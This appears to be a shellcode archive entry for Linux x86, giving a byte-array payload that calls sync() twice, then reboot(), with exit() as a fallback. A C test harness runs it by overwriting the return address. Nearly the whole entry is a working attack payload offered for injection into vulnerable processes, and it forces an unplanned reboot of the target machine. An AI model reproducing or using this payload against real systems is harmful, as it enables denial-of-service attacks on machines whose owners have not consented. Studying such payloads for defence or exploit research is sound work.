Linux x86 shellcode that does a sync(),sync() and then reboot(). Exit() was added in case the previous syscalls fail.
2a81a00a01fb93b1d0701c442911f09ffe9075a1f32d755a4eefdd63a9c2d8e1
Author: zillion
Email: zillion@safemode.org
Homepage: https://www.safemode.org
Linux x86 shellcode that does a sync(),sync() and then reboot(). Exit()
was added in case the previous syscalls fail.
Filename: clean-reboot-shellcode.c
/*
* This shellcode will do a sync() sync() reboot() and exit() if the code fails
*
* Written by zillion@safemode.org
*
*/
char shellcode[] =
"\xeb\x27\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\x5e\x31"
"\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67"
"\x45\x23\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff"
"\xff";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}